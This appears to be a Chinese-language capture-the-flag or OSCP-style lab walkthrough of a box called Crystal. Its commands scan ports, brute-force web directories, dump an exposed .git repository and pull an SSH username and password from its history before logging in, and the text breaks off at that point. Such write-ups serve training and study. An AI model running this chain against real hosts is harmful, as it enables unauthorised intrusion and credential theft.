ARIES

 Challenge 4 -  Crystal rustscan 先，└─$ rustscan -a 192.168.228.144 --scripts none --ulimit 5000 | tee rustscan 只有三個 Port 192.168.228.144 -> [21,22,80] sudo nmap -sC -sV -p 21,22,80 -oN nmap 192.168.243.144  - 21 : ftp  - 22 : ssh  - 80 : http 測試 snmp 是否有開 └─$ sudo nmap -sU -p 161 192.168.229.144 | tee nmap-snmp └─$ whatweb http://192.168.229.144 JQuery, MetaGenerator[Nicepage 4.21.12, nicepage.com] 逛一下網站，下面有一塊可以輸入資料與送出，最終測試了一下是個兔子坑 因為根本不會真的送出 post，做得相當賊的網站 gobuster 列舉網站目錄，└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.228.144 -t 150 -x txt,pdf,config,git,php,aspx ，號稱 OSCP 考試最佳 gobuster 列舉檔 : oscp/wordlists/dirfuzzing.txt at master · ferreirasc/oscp · GitHub 有個 .git，看來有戲，先安裝 git-dumper， sudo pip install git-dumper 執行 git-dumper， git-dumper http://192.168.228.144/.git ~/website-144 預設存放路徑在現有使用者的 home 目錄 第一個檔案是 [-] Testing http://192.168.228.144/.git/HEAD [200] 讓我們直接看該檔案  git show HEAD，發現帳號密碼 stuart:BreakingBad92 └─$ ssh stuart@192.168.228.144 id...